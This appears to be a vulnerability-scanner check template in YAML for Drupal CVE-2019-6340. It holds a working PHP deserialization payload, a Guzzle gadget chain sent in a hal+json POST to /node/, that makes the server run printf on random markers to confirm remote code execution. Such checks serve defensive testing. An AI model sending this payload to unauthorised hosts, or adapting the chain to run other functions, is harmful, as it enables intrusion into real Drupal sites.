CVE-2019-6340.yml

name: poc-yaml-drupal-cve-2019-6340
manual: true
transport: http
set:
    host: request.url.host
    r1: randomLowercase(4)
    r2: randomLowercase(4)
rules:
    r0:
        request:
            cache: true
            method: POST
            path: /node/?_format=hal_json
            headers:
                Accept: '*/*'
                Content-Type: application/hal+json
            body: |
                {
                  "link": [
                    {
                      "value": "link",
                      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:10:\"{{r1}}%%{{r2}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"printf\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
                    }
                  ],
                  "_links": {
                    "type": {
                      "href": "http://{{host}}/rest/type/shortcut/default"
                    }
                  }
                }
            follow_redirects: true
        expression: response.status == 403 && response.content_type.contains("hal+json") && response.body.bcontains(bytes(r1 + "%" + r2))
expression: r0()
detail:
    author: thatqier
    links:
        - https://github.com/jas502n/CVE-2019-6340
        - https://github.com/knqyf263/CVE-2019-6340